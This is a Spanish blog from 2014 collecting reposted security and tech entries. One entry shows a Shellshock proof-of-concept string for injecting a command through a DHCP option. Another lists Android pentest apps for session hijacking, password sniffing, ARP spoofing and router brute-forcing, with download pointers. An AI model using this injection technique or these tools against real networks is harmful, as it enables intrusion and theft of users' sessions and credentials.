Teorías de un jadcodiano

#ShellShock + DHCP o como puede comprometerse una máquina con sólo conectarse a la red

2014-09-26T12:33:00.002-07:00

El bug en bash, ya bautizado como Shell Shock, es tan terrorificamente sencillo que hasta los menos expertos son capaces de juntar rápidamente algo de código para comprometer una máquina Linux/Unix (incluido Macs). Así en menos de dos días hemos pasado de una simple prueba de concepto a una autentica pandemia de explotaciones.

Una de las más llamativas es la que ya conocíamos desde el principio con DHCP y que ahora nos ilustra TrustSec, otra PoC en la que vemos como podemos insertar código en la opción 114 (default-url) de nuestro server para explotar la vulnerabilidad:

String () { ignored;}; echo ‘foo’ en servidor TFTPD64

Simplemente hacemos un renew en el cliente (o levantamos el interfaz) y observamos el resultado:

Esteganografia en audio

2014-09-26T08:56:00.000-07:00

Publico esto que es un tema antiguo pero me parecio chistosa la forma de redacción:

Hey hola, bueno como algunos ya saben la estenografía es éste arte de guardar mensajes, generalmente son imágenes con texto y que tienen un fin de confidencialidad, y en breve veremos como podríamos ocultar una imagen con algún texto, en un audio y ver el mensaje a través del en Espectograma de dicha “melodía” aunque es bastante rancia.

Seré breve.

Primero necesitamos la imagen con el mensaje que queremos “encriptar” en mi caso la siguiente, si tiene texto pero no lo pondré aún por cuestiones sentimentales.

Bueno para crear el sonido a partir de la imágen utilzé enscribe, cabe señalar que es para linux. Previamente debemos tener las siguientes librerias:
gd
gd-devel
libsndfile
Para que queden bien debemos compilar con:

./configure
make
make install

./configure

make

make install

Ésto en cada una de las librerias descargadas
Luego de asegurarnos que no arrojo ningún error nuestras compilaciones, vamos a crear el audio a partir de la imagen con encribe.

./enscribe <imagen> <salida.wav>

1	./enscribe <imagen> <salida.wav>

ya tenemos nuestro audio con imagen oculta, y se lo podemos enviar a nuestro receptor, jiji. En este caso mi novio.

Para poder ver el mensaje, que estará oculto en el espectograma podemos usar varias aplicaciones, solo no recomiendo audicity, y bueno en mi opinión recomiendo alguna app en mi caso Acustic Picture Transmitter para Iphone o Ipad y sale algo como esto:

Es importante que acomoden bien la frecuencia que en este caso fué 44.1kHz.

Bueno Saludos.

Fuente: http://estefani.mx/2014/esteganografia-en-audio.html

Mas libros interesantes

2014-09-26T08:53:00.003-07:00

Buenos días.

Dejo un link bueno para bajar libros directamente:

http://cirrus.turtil.net/serve/pdf/

Saludos jadcodianos.

Virtual Wifi Router + Tutorial

2014-09-26T08:49:00.000-07:00

Virtual Wifi Router

Cuando invitas a tus amigos a tu casa, una de las primeras cosas que te pueden preguntar es: "Tienes conexión wifi" , y por motivos de la vida tu proveedor de Internet no te dejo un punto de red wifi , y siendo el caso la única opción que tienes es decir "No tengo Wifi", en estos tiempos esto puede ser motivo de burlas hacia ti, pero ahora te traigo una solución muy sencilla y efectiva con la cual podrás pasar desapercibido con tus amigos.

Virtual Wifi Router es una pequeña aplicación que utiliza la tarjeta de red wifi de tu pc, ya sea usb o interna para simular un punto de acceso Wifi permitiendo la conexión de a Internet a diferentes dispositivos, como celulares o computadores portátiles.

Configuracion Virtual Wifi Router

https://www.youtube.com/watch?feature=player_embedded&v=W3tp2-sulM4

Descargar Virtual Wifi Router

https://mega.co.nz/#!OAA10CaQ!fFROryRvRUaUdAV6Ys4HCGmAccE_2IOq6scMDEdeuDg

Fuente: http://www.identi.li/index.php?topic=198479

Android Data Extractor Lite - ADEL

2014-09-25T07:13:00.003-07:00

This Python script dumps all important SQLite Databases from a connected Android smartphone to the local disk and analyzes these files in a forensically accurate workflow. If no smartphone is connected you can specify a local directory which contains the databases you want to analyze. Afterwards this script creates a clearly structured XML report.

If you connect a smartphone you need a rooted and insecure kernel or a custom recovery installed on the smartphone.

Forensic principles: ADEL is intended to treat data in a forensically correct way. This goal is reached by the fact that activities are not conducted directly on the phone but on a copy of the databases. This procedure assures that data does not become changed, neither by the users of ADEL nor by an uncompromised operating system. In order to proof the forensic correctness of ADEL, hash values are calculated prior and after each analysis, to guarantee that dumped data did not become changed during analysis.

Extendibility: ADEL has been modularly built and contains two separate modules: the analysis and the report module. Predefined interfaces exist between these modules and both of them can be easily amended by additional functions. The modular structure allows for dumping and analyzing further databases of smartphones without great effort and facilitates updates of the system in the future.

Usability: The use of ADEL is intended to be as simple as possible to allow its use by both qualified persons and non-experts. At best, the analysis of the mobile phone is conducted in an autonomous way so that the user does not receive any notice of internal processes. Moreover, the report module creates a detailed report in a readable form, including all of the decoded data. During the execution, ADEL optionally writes an extensive log file where all of the important steps that were executed are traced.

ADEL needs a predefined configuration for each device to work proper. This configuration has to be added in the following file:
xml/phone_configs.xml

As an example we added the configuration for the Samsung Galaxy S2 running Android 2.3.3, more phone configurations will follow.
Example for the use of ADEL with a connected smartphone:
adel.py -d device -l 4

Example for the use of ADEL with database backups:
adel.py -d /home/user/backup -l 4

In the current development state, the following databases are forensically treated and parsed:

telephone and SIM-card information (e. g. IMSI and serial number)
telephone book and call lists,
calendar entries,
SMS messages,
GPS locations from different sources on the smartphone.

ADEL now makes use of a custom recovery image based on the Clockworkmod-Recovery. Due to this change you do not need to modify the kernel or the adb daemon anymore. Furthermore, on some newer smartphones you can load the modified recovery to RAM via fastboot, so you don't need to do any persistent changes to the smartphone.

Download and more information

Fuente: http://www.ehacking.net/2014/06/android-data-extractor-lite-adel.html

5 excelentes buscadores de imágenes a partir de imágenes (reverse image search)

2014-09-22T13:49:00.004-07:00

Para buscar imágenes en la red lo que se suele hacer es ir a un buscador, escribir ciertas palabras clave y esperar a que sean mostradas las adecuadas. Sin embargo, hay momentos en los que las palabras no son suficientes para definir algo por lo que puede ser útil ayuda como la del reverse image search, un proceso de búsqueda de imágenes inversa en el que en vez de usar texto como palabras clave, se usan otras imágenes. Así de simple: subes una imagen, el buscador la analiza pixel por pixel, y te muestra otras parecidas automágicamente. Como ejemplo, cinco buscadores con los que esto es posible:

1. TinEye y MulticolorEngine

Un referente en este tipo de búsquedas por imágenes. Pulsa el botón “Seleccionar archivo” para cargar la imagen que usarás como base o simplemente indica una URL en donde pueda encontrarse, espera uno segundos y ya tendrás decenas de resultados con imágenes similares.

En un módulo especial de TinEye, algo así como su sección de funciones experimentales, se encuentra MulticolorEngine, una poderosa herramienta más avanzada que permite seleccionar hasta cinco colores dentro de una paleta y ver resultados en tiempo real de imágenes que tienen los colores seleccionados (se pueden cambiar los porcentajes de aparición de cada uno de los cinco). Por si fuese poco, también es posible extraer la paleta de colores de una imagen subida.

2. WeSEE

WeSEE destaca por su agradable y sencilla interfaz que permite realizar múltiples búsquedas por palabras clave o desde imágenes almacenadas en el equipo (con el botón de la cámara), pero destaca aún más por integrar resultados de imágenes publicadas en Pinterest. Con esto se garantiza la novedad de muchas de ellas, algo perfecto para quienes deben seguir las nuevas tendencias en Social Media.

3. RevIMG

Casi tan sencillo como TinEye: sube una imagen desde el PC o desde una URL, define una categoría desde el menú desplegable para filtrar mejor los resultados, y finalmente selecciona una región determinada de la imagen o bien la imagen completa para iniciar la búsqueda. Los resultados son organizados destacando con colores su porcentaje de eficacia.

4. Google Goggles

Una aplicación móvil disponible para iOS y Android que se vale de la cámara del móvil para escanear objetos en vivo y subir las fotografías como consultas a Google Imágenes automáticamente. El resultado: información textual y miles de imágenes similares incluso en tiempo real. Puede ser útil para escanear portadas de libros, etiquetas de vinos, electrodomésticos, etc., todo lo que tenga que ver con objetos que se puedan conseguir en línea pero que pueden ser difíciles de describir con palabras.

5. Google Imágenes

Buenos algoritmos de análisis de imágenes y la increíble capacidad de indexación de Google, una combinación perfecta de búsqueda de imágenes que todos deberían conocer, por ejemplo, los profesores y editores que deben combatir el plagio a diario. Sólo arrastra una imagen desde tu equipo hasta el cajón de búsqueda de Google para tener en cuestión de segundos miles de resultados.

Fuentes:

http://wwwhatsnew.com/2013/05/21/5-buscadores-de-imagenes-reverse-image-search/

http://www.taringa.net/posts/ciencia-educacion/13186269/Busqueda-por-imagen-de-Google-realmente-util.html

Estándares de seguridad ISO 27000: ¿qué hay de nuevo?

2014-09-12T06:30:00.002-07:00

La semana pasada tuve la oportunidad de participar, como representante de ESET en México, del segundo Congreso de Seguridad de la Información, organizado por el Instituto Politécnico Nacional (IPN), impartiendo el taller ‘Implementación del estándar ISO/IEC 27001:2013’.
En este taller planteamos varios objetivos a alcanzar, como conocer los conceptos básicos de seguridad de la información utilizados en la serie de estándares 27000, identificar los requisitos definidos en la nueva versión de ISO 27001, así como reconocer las principales diferencias entre las ediciones 2005 y 2013 de este estándar.
Como resultado, en esta publicación quiero compartirles algunas consideraciones abordadas en el taller, mismas que pueden ser tomadas en cuenta cuando se tiene como objetivo gestionar la seguridad de la información utilizando como base los estándares ISO.

Consideraciones para la familia de estándares 27000

Con anterioridad revisamos la serie de normas ISO 27000, mostrando la principal característica de cada documento. Sin embargo, en los últimos dos años estos estándares han tenido importantes modificaciones en su contenido, que a continuación revisaremos.

ISO/IEC 27000

Una manera de comenzar la implementación de ISO/IEC 27001 puede ser a través de conocer este documento, que contiene el glosario de todos los términos utilizados en la serie 27000, un resumen general de esta familia de estándares, así como una introducción al sistema de gestión de seguridad de la información (SGSI), el proceso continuo que gestiona todos los esfuerzos de una organización, enfocados en proteger sus activos de información a través de la evaluación y tratamiento de riesgos de seguridad.
Este estándar adquiere mayor relevancia, ya que se convierte en la única referencia normativa de la nueva versión de ISO/IEC 27001 (cláusula 2). También, en este último todos los términos y definiciones han sido eliminados, únicamente haciendo referencia a este documento.

ISO/IEC 27001

A diferencia de otros documentos de esta familia, ISO 27001 es certificable para las organizaciones que desean mostrar su compromiso con la protección de la información. En general, especifica los requisitos para establecer, implementar, operar, monitorear, revisar, mantener y mejorar el SGSI.
También incluye el Anexo A que se conforma de 14 dominios, 35 objetivos de control (una descripción de lo que se desea alcanzar con la aplicación de controles) y 114 controles de seguridad, que pueden ser seleccionados e implementados como parte del proceso de tratamiento de riesgos.
El Anexo B (principios de la OCDE) y Anexo C (correspondencia con los estándares ISO 9001 e ISO 14001) han sido removidos en la nueva edición. Este último debido a que se adopta la estructura del Anexo SL, que ofrece lineamientos para establecer un sistema de gestión genérico, correspondiente con los estándares que han sido revisados y actualizados, así como aquellos que se publicarán en el futuro.

ISO/IEC 27002

El código de prácticas para controles de seguridad de la información provee una lista de objetivos de control y controles comúnmente aceptados, que busca servir como una guía para la implementación de los mismos.
A diferencia de la versión 2005 de ISO 27001, en la edición 2013 ya no es una referencia normativa, por lo que su uso es opcional. Aunque todavía es ampliamente recomendable, ahora otras fuentes de información pueden consultadas para la aplicación de los controles de seguridad.

ISO/IEC 27004

Este estándar provee una guía enfocada en la medición y evaluación de la efectividad del sistema de gestión, de los objetivos de control y los controles, utilizados para gestionar la seguridad de la información de acuerdo con los requisitos de ISO/IEC 27001. Puede ser de mucha utilidad cuando la organización requiera dar cumplimiento a las cláusulas de evaluación de desempeño del SGSI.

ISO/IEC 27005

La gestión de riesgos de seguridad de la información descrita en este estándar tiene como objetivo guiar a los usuarios durante la implementación de los requisitos en materia de evaluación y tratamiento de riesgos de ISO 27001.
Aunado al proceso de gestión de riesgos plasmado en este estándar, es necesario aplicar una metodología de evaluación de riesgos de seguridad, que permita en primer lugar definir los criterios de aceptación de los riesgos, determinar el impacto y la probabilidad de cada uno de estos, para elegir opciones de tratamiento conscientes, enfocadas en reducir los riesgos a un nivel aceptable, con base en los criterios previamente establecidos.

ISO/IEC 27007

Este estándar proporciona una guía para llevar a cabo auditorías al SGSI y sobre las competencias que requieren los auditores. Tiene como base ISO 19011, que es el estándar utilizado para auditorías a sistemas de gestión de cualquier tipo. Sin duda, se trata de una referencia muy útil cuando se deba dar cumplimiento a la cláusula de auditorías internas de ISO 27001.
Con la revisión de estos documentos, podemos tener una mayor visión al momento de abordar los requisitos de ISO 27001, ya que como su nombre lo indica, se trata de guías que facilitan y complementan la implementación.
En este mismo sentido, también se puede consultar ISO/IEC 27003, el estándar orientado a proporcionar más información sobre la operación de cada uno de los elementos necesarios para estar en cumplimiento con la norma 27001.
Hasta este punto revisamos aspectos importantes de los documentos de la familia 27000. En posteriores publicaciones revisaremos otros elementos a tomar en cuenta cuando se trabaja con los estándares ISO durante la gestión de la seguridad de la información. Hasta entonces y ¡éxito en la implementación de su SGSI!

Créditos imagen: ©digitalpimp./Flickr
Autor Miguel Ángel Mendoza, ESET

Fuente: http://www.welivesecurity.com/la-es/2014/09/10/estandares-seguridad-iso-27000-nuevo/

Tox, un servicio de comunicación que busca ser una alternativa a Skype segura

2014-09-03T08:19:00.006-07:00

Con todas las filtraciones de la NSA, es de esperar que usuarios de servicios tan comunes, como lo es Skype, estén pensando en alguna alternativa que pueda asegurarles un poco más de privacidad. Es por ello que un grupo anónimo de hackers crearon Tox; un servicio de comunicación seguro.

Como es de esperar esta herramienta de comunicación tiene como objetivo asegurar la privacidad de sus usuarios, aunque a su vez busca ofrecer las mismas características que hoy en día lleva Skype para que pueda presumir de ser una alternativa de comunicación totalmente viable.

Tox nos promete seguridad por no depender de un servidor de terceros.

Usualmente un servicio de comunicación necesita de un servidor central al que llegan los datos enviados por el remitente, para después trasferirlos a un destinatario. Así que la diferencia de Tox con alguno de estos servicios es que prescinde de dicho servidor pues los datos se envían por medio de un enlace peer-to-peer mediante un protocolo encriptado.

Es por ello que el servicio promete seguridad ya que, al prescindir de un servidor de terceros, sería imposible interferir con sus comunicaciones para robar información, así como detener su funcionamiento.

Su puesta en marcha no es tan simple como el de otros servicios de mensajería instantánea, aunque tampoco será cosa de otro mundo, pues sólo requiere la creación de una clave con la que nos podremos identificar, la cual además servirá para que agreguemos a nuestros contactos, pudiendo ocultar algunos de éstos enviándolos a una lista de privada.

Por ahora el servicio se encuentra en una fase beta, aunque ya existen clientes con los que lo podemos probar, incluyendo para Windows, Linux, OS X, y dispositivos Android, no obstante, tenemos la promesa de recibir clientes para más plataformas en el transcurso de su desarrollo.

Vía | Wired

Más Información | Tox

Fuente: http://www.genbeta.com/mensajeria-instantanea/tox-un-servicio-de-comunicacion-que-busca-ser-una-alternativa-a-skype-segura

ReactOS®, un nuevo sistema operativo de código abierto compatible con windows

2014-09-03T06:26:00.005-07:00

ReactOS® es un sistema operativo de código abierto basado en los mejores principios de diseño que se encuentran en la arquitectura de Windows NT® (versiones de Windows tales como Windows XP, Windows 7 y Windows Server 2012 siguen la arquitectura NT). Escrito completamente desde cero, ReactOS no es un sistema basado en Linux, y no comparte nada de la arquitectura UNIX.

El objetivo principal del proyecto ReactOS® es proporcionar un sistema operativo compatible a nivel binario con Windows. Esto permitirá correr tus drivers y aplicaciones tal y como lo harían en tu sistema Windows®. Además, se usa la misma interfaz de usuario del sistema Windows, así que aquellas personas acostumbradas a éste encontrarán ReactOS muy familiar. Es objetivo último de ReactOS® es permitirte usarlo como alternativa a Windows® sin obligarte a cambiar el software con el que estás acostumbrado a trabajar.

ReactOS 0.3.16 aún se encuentra en fase alpha, lo que significa que aún no está completo, y sólo se recomienda para propósitos de evaluación y testeo

Fuente: https://www.reactos.org/es

Saludos jadcodianos.

Trucos para buscar en google nivel básico.

2014-09-03T06:14:00.002-07:00

Curl.io, compartir archivos usando la consola.

2014-09-03T06:13:00.004-07:00

Hoy en día enviar un archivo es muy fácil: nos vamos a un servicio como WeTransfer, arrastramos lo que queramos enviar a la web y listo, el receptor se lo puede descargar tranquilamente. Pero ¿y si a mo ni me gustan las interfaces gráficas? Para todos los fanáticos del terminal, tenemos curl.io.

Esta sencilla web nos da instrucciones para enviar archivos almacenados localmente usando un comando, que copiamos y pegamos al terminal de nuestro sistema para recibir un enlace directo de descarga que podremos enviar al destinatario. Hay un modo simple, donde sólo tenemos que hacer ese copiar-y-pegar; y un modo seguro donde introducimos una frase que se usará como llave de cifrado.

En ambos casos, el archivo quedará almacenado en los servidores de curl.io durante 4 horas con un tamaño máximo de 5 GB. Lo sé, muchos preferiréis algo más simple... pero los que defienden el terminal a muerte se alegrarán de conocer esta alternativa. Y precisamente por depender de un terminal, curl.io sólo funciona en OS X y en Linux.

Fuente: http://www.genbeta.com/herramientas/curl-io-porque-compartir-archivos-usando-interfaces-graficas-esta-sobrevalorado

Crear Service en Android

2014-09-03T06:05:00.005-07:00

Buenas tardes, en esta entrada y en las siguientes, vamos a enfocarnos sobre un aspecto importante de Android, los Services o Servicios.

Un Service es una aplicación en Android que se ejecuta en background sin tener que interactuar con el usuario. Por ejemplo, cuando usamos una aplicación, puede que queramos ejecutar algo de música en background a la vez. En este caso, el código que está ejecutando la música en background no necesita interactuar con el usuario, y por ello puede ejecutarse como un Service. Los Services son ideales tambien para situaciones en las cuales no tenemos que tener presente una UI para el usuario. Un buen ejemplo de este scenario es una aplicación que continuamente crea un log de coordenadas geográficas del dispositivo. En este caso podemos escribir un Service que haga algo en background.
Para comenzar, vamos a crear un Service, aunque lo único que haremos es crearlo y parar su ejecución, no hará ninguna función mas, pero aprenderemos a crearlo. En entradas posteriores veremos como podemos hacer que haga algo y ver mejor como funcionan.
Con esta pequeña introducción, vamos a ponernos manos a la obra:

Creación del Proyecto
Para crear nuestro proyecto, vamos a pinchar en File -> New -> Android Application Project. En el caso de que la última opción no aparezca, podemos pinchar en “Other” con el cual nos aparecerá una ventana para elegir entre una lista. Para filtrar los resultados, podemos escribir “Android” en el cuadro de texto que encontraremos y así nos será mas fácil.
Una vez se nos muestra la primera ventana del asistente, elegiremos un nombre para nuestro proyecto, yo en mi caso lo he llamado “EjemploService”, aunque no es importante y podeis poner el que querais. El resto de opciones podeis dejarlas como querais.
A medida que avanzamos en el asistente vamos a encontrar una ventana donde se nos permitirá dar un nombre a nuestra Activity principal, yo en mi caso lo he llamado ServiceActivity, y su archivo layout se llama activity_service.xml. Este archivo layout se encuentra en la carpeta res/layoout, y en él definiremos la interfaz gráfica de nuestra Activity.
Con esto, tendremos nuestro proyecto ya creado, y podemos continuar con la construcción de la aplicación.

ServiceActivity

Una vez tenemos creado nuestro proyecto, tendremos nuestra clase Activity y su layout, ubicado como bien hemos especificado en la carpeta res/layout. Modificaremos su código para que quede como este:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="vertical"

    tools:context=".ServiceACtivity" >

    <Button

        android:id="@+id/btnStart"

        android:layout_width="fill_parent"

        android:layout_height="wrap_content"

        android:onClick="onClickComenzar"

        android:text="Comenzar Servicio" />

    <Button

        android:id="@+id/btnStop"

        android:layout_width="fill_parent"

        android:layout_height="wrap_content"

        android:onClick="onClickParar"

        android:text="Parar Servicio" />

</LinearLayout>

Podemos observar que tenemos 2 View del tipo Button, los cuales serán los encargados de comenzar el Service y de pararlo cuando deseemos. Hemos establecido valores en el atributo onClick, para luego crear métodos en la activity con el valor de estos atributos.
Por otro lado, tenemos la clase ServiceActivity.java, cuya funcionalidad principal será comenzar el Service y pararlo cuando pulsemos el botón de detenerlo. Su código es el siguiente:

package com.example.services;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

public class ServiceActivity extends Activity {

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_service);

    }

    public void onClickComenzar(View v){

        startService(new Intent(getBaseContext(), MyService.class));

    }

    public void onClickParar(View v){

        stopService(new Intent(getBaseContext(), MyService.class));

    }

}

El código de nuestra Activity es bastante simple, lo único que hacemos es crear los 2 métodos para que los botones tengan funcionalidad

public void onClickComenzar(View v) En este método llamamos a otro método, llamado startService, y como argumento le pasamos un Intent el cual recibe el context de nuestra aplicación, y la clase MyService.class, que será la que contenga el servicio (Aún no la hemos creado).

public void onClickComenzar(View v){

startService(new Intent(getBaseContext(), MyService.class));

}
public void onClickParar(View v) En este otro método invocaremos el método stopService el cual acepta como argumento un Intent el cual hemos creado nuevo con el context de nuestra Activity y el nombre de la clase de nuestro Service (MyService.class), que como he dicho anteriormente aún no hemos creado, pero será el siguiente paso.

public void onClickParar(View v){

stopService(new Intent(getBaseContext(), MyService.class));

}

MyService

Ahora vamos a crear nuestra clase para el Service, la cuál heredará de la clase Service. Para ello nos dirigimos a nuestro package (com.example.services en mi caso) y crearemos una nueva clase en su interior.
Una vez nuestra clase esté creada, vamos a modificarla para que quede como la siguiente:

package com.example.services;

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.widget.Toast;

public class MyService extends Service {

    @Override

    public IBinder onBind(Intent arg0) {

        // TODO Auto-generated method stub

        return null;

    }

    @Override

    public int onStartCommand(Intent intent, int flags, int startId) {

        // TODO Auto-generated method stub

        Toast.makeText(this, "Servicio en Ejecucion", Toast.LENGTH_SHORT).show();

        return START_STICKY;

    }

    @Override

    public void onDestroy() {

        // TODO Auto-generated method stub

        super.onDestroy();

        Toast.makeText(this, "Servicio destruido", Toast.LENGTH_SHORT).show();

    }

}

Vamos a explicar un poco los métodos que vemos:

onBind(Intent arg0) Vamos a ver su código:

@Override

public IBinder onBind(Intent arg0) {

// TODO Auto-generated method stub

return null;

}

Este método permite ligar una actividad a un servicio. Esto permite a la activity tener acceso a los miembros y métodos en el interior del Service. Por ahora, retornamos null para este método ya que en esta entrada solo veremos como crearlo.

onStartCommand(Intent intent, int flags, int startID) Vamos a ver su código:

@Override

public int onStartCommand(Intent intent, int flags, int startId) {

    // TODO Auto-generated method stub

    Toast.makeText(this, "Servicio en Ejecucion", Toast.LENGTH_SHORT).show();

    return START_STICKY;

}

Este método es llamado cuando hacemos que el servicio se ejecute explícitamente mediante un método startService(). Este método ejecutará todo el código que necesitemos que haga nuestro Service. Finalmente, retornamos la constante START_STICKY para que nuestro service siga ejecutandose hasta que lo detengamos explícitamente.

onDestroy() Vamos a ver su código:

@Override

public void onDestroy() {

    // TODO Auto-generated method stub

    super.onDestroy();

    Toast.makeText(this, "Servicio destruido", Toast.LENGTH_SHORT).show();

}

Este método es llamado cuando el servicio es detenido usando el método stopService(), aquí es donde limpiamos los recursos que hayan sido usados por nuestro service.

AndroidManifest.xml

Finalmente, para que nuestro Service puede usarse, tenemos que declararlo en el AndroidManifest de nuestra aplicación. A continuación vemos como se hace:

xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.services"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="17" />

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name="com.example.services.ServiceActivity"

            android:label="@string/app_name" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <service android:name=".MyService" />

    </application>

</manifest>

Vemos que hemos agregado la línea:

<service android:name=".MyService" />

Si quisieramos que nuestro service estuviera disponible para otras aplicaciones, podríamos añadir un action:

<service android:name=".MyService">

    <intent-filter>

        <action android:name="sekth.droid.Services.MyService" />  

    </intent-filter>

</service>

Con esto ya tendríamos nuestra aplicación funcional, podemos ejecutarla en el emulador y ver como funciona, aunque realmente no haga nada interesante.
Podemos ver unas capturas aunque tengan poco contenido:

A continuación un video sobre la aplicación en tiempo real:

Con esta entrada, hemos visto la manera en la que podemos crear un Service en Android, aunque en este caso no haga naad mas que ocupar ram haciendo nada, pero en futuras entrada podemos ver un poco mas el enfoque que podemos darle para que haga diferentes tareas.
El código del ejemplo podeis descargarlo de aquí.

Sin más, cualquier aporte o corrección es bienvenido.

Saludos!!!

Fuente: http://sekthdroid.wordpress.com/2013/02/10/crear-service-en-android/

Herramientas de Pentest desde Android

2014-09-03T06:03:00.001-07:00

Android Network Toolkit – zAnti

Iniciaremos con las herramientas que agrupan varias utilidades en una y después pasaremos por las mas puntuales, una de las que ha dado que hablar bastante últimamente es zAnti una herramienta que vio la luz por primera vez en el 2011 durante DEFCON y que integra una gran variedad de utilidades para auditar una organización en una sola aplicación, ha sido motivo de criticas ya que por su modelo de negocios capa o elimina muchas de las funcionalidades interesantes como los ataques MITM o la explotación de fallos de seguridad, a cambio de créditos que se van consumiendo con cada uso.

Pagina Oficial – Enlace del APK

dSploit – Android Network Penetration Suite

La siguiente aplicación se llama dSploit incluye muchas de las herramientas que trae zAnti sin restricciones o pedir créditos por ello, tiene un escáner de puertos, una herramienta para fuerza bruta, un creador de paquetes UDP o TCP personalizados, un buscador de vulnerabilidades y un gran modulo de Main in the middle.

Este ultimo modulo es uno de los mas completos, trae varios ataques prediseñados y muy fáciles de implementar, aunque algunos estén pensados mas para el entretenimiento, otros pueden ser muy efectivos y peligrosos.

El sistema de crackeo por fuerza bruta tiene soporte para muchos protocolos, además de traer los diccionarios básicos y la opción para agregar mas o generar las contraseñas al vuelo.

Esperaba mas de un modulo llamado “vulnerability finder”, pero en el dSploit muestra simplemente los CVE relacionados con los servicios encontrados en la etapa de enumeración.

El inspector es un servicio útil que permite conocer algunos datos de una dirección ip especifica, enumera servicios y deduce el sistema operativo.

El scanner de puertos se queda corto comparado con el zAnti (que incluye una versión de nmap 6) pero cumple su función y es bastante rápido.

Permite sacar claves por defecto de varios tipos de enrutadores y lanzar routerpwn cuando detecta que el objetivo es un router.

Pagina Oficial – Enlace del APK

Revenssis – Compartido por 4v4t4r

Revenssis es una suite para pentest, es un gran conjunto de herramientas que incluyen:

Web App scanners
Encode/Decode & Hashing tools
Vulnerability Research Lab
Forensics Lab
Utilidades como Shell, SSH, DNS/WHOIS Lookup, Traceroute, Port Scanner, Spam DB Lookup, Netstat…

Pagina Oficial - Enlace del APK

Fing – Network Tools

Fing es un programa que se anuncia como un escáner de red pero realmente tiene mas funcionalidades que esa, ping, traceroute, dns lookup, wake on lan, tcp connection tester, geo localización, son solo algunas de ellas.

Pagina Oficial – Enlace del App Store

Connect Cat

Netcat para android, toda la navaja suiza en tu dispositivo móvil.

Enlace del App Store

ExploitDB Latest Exploit

Esta es una pequeña utilidad que hace un llamado a los RSS de ExploitDB para mantenernos informados de los últimos exploits publicados en este portal de referencia en cuanto a fallos de seguridad.

Enlace del App Store

Clientes para escáner de vulnerabilidades reconocidos

Nessus

Las grandes empresa que ya ofrecen productos para pentest se han dado cuenta del potencial que tienen los dispositivos móviles y se han lanzado a sacar sus clientes compatibles, tenable fue uno de los primeros en sacar el suyo y por eso tenemos cliente de nesus para Android e iOS

Pagina Oficial – Enlace del App Store

eEye Scanner

Pero no es la única, eEye empresa de seguridad recientemente adquirida por beyoundtrust (quien al parecer anda de compras…) es reconocidos por su escáner de vulnerabilidades Retina y ahora lanzo una herramienta llamada eEye Android Scanner ,que permite revisar configuración de nuestro dispositivo en busca de fallos de seguridad en él.

Pagina Oficial – Enlace del App Store

Captura de datos y robo de sesiones, cookies, etc..

Existen varias herramientas para hacer este trabajo, de hecho los dispositivos móviles son excelentes para esto, ya que como decía anteriormente pasamos totalmente desapercibidos.

Intercepter-NG

La herramienta mas utilizada para esta labor en los equipos tradicionales es y lo seguirá siendo por un buen tiempo wireshark y lo mas parecido a wireshark en android es intercepter-ng, una excelente herramienta que también esta disponible en pc y captura contraseñas de una gran cantidad de protocolos, mensajes de chat de muchos servicios de mensajería, reconstruye archivos de varios protocolos entre otras cosas de forma simple.

Pagina Oficial – Enlace del APK

FaceNiff

Otra herramienta muy popular de la cual hablamos hace un tiempo en la comunidad es FaceNiff, que permite con solo presionar un botón robar secciones de redes sociales y servicios online, incluso si están logueados desde https (usando sslstrip), todo de forma muy fácil… cosa que en pc no lo es tanto.

DroidSheep

Pero faceniff no es la única herramienta para hacer esta tarea, Droidsheep, claramente inspirado en Firesheep (un plugin de firefox que permitía fácilmente este proceso) realiza ataques de arp-spoofing a través de la red, hace que el trafico pase por el dispositivo y captura las sesiones de las personas que la estén usando.

Desafortunadamente las autoridades alemanas son muy estrictas con su ley contra “herramientas de hacking” y el desarrollador de DroidSheep Andreas Koch, dejo de mantener la herramienta, aunque publico su código fuente y los hash de las ultimas compilaciones que el realizo.
La buena noticia es que encontré 2 de los 3 archivos que corresponden a los hash publicados por Andreas koch, la mala noticia es que no encontré un paquete de la ultima versión que correspondiera a los hash publicados por el desarrollador, solo encontré de la ultima versión un paquete compilado por un forero de xda-developers que generó un apk con hash AEC222945A7C54EA909EE987B37574A1, descárgalo bajo tu propio riesgo.
DroidSheep_15.apk
~~F0A647E720A5EDDCE04D95D0E4C4E2AD~~
AEC222945A7C54EA909EE987B37574A1 – version generada por el usuario mbirth del foro xda-developers
DroidSheep_14.apk
DB53F4C3CC2553F35C45D52A57E4908C
DroidSheep_13.apk
9722FDD6B1DA8151635B992931FBD66A

DroidSheep Guard

Pero Andreas Koch no solo desarrolló DroidSheep, también saco una herramienta llamada DroidSheep Guard, que permite determinar si alguien en la red esta haciendo un ataque arp spoofing o directamente esta usando DroidSheep y nos desconecta de la red si queremos.

Herramientas para redes inalámbricas..

inSSIDer

inSSIDer es una de las herramientas referentes para analizar redes inalámbricas en equipos tradicionales y ahora podemos disfrutar de inSSIDer en los dispositivos android.

Pagina Oficial – Enlace del App Store

WiFinspect

WiFinspect es una suite de android para análisis de redes inalámbricas que incluye una serie de herramientas como un sniffer, host discovery, análisis de archivos pcap, entre otras utilidades para inspeccionar una red WiFi.

Enlace del App Store

Find My Router´s Password

Otra herramienta útil para redes inalámbricas en Android, es Find my Router Password, que permite conseguir las claves de los routers utilizando ataques de fuerza bruta, con claves por defecto, diccionarios y claves generadas al vuelo.

Enlace del App Store

Mac2WebKey HHG5XX

Mac2webkey HHG5XX es la herramienta creada por nuestro amigo paulino calderón, que sirve para deducir la clave por defecto que tienen algunos routers huawei, puede ser útil tenerla en nuestro teléfono por si llegáramos a encontrarnos uno de estos routers en el camino.

Pagina Oficial – Enlace del App Store

Mac Address Ghost

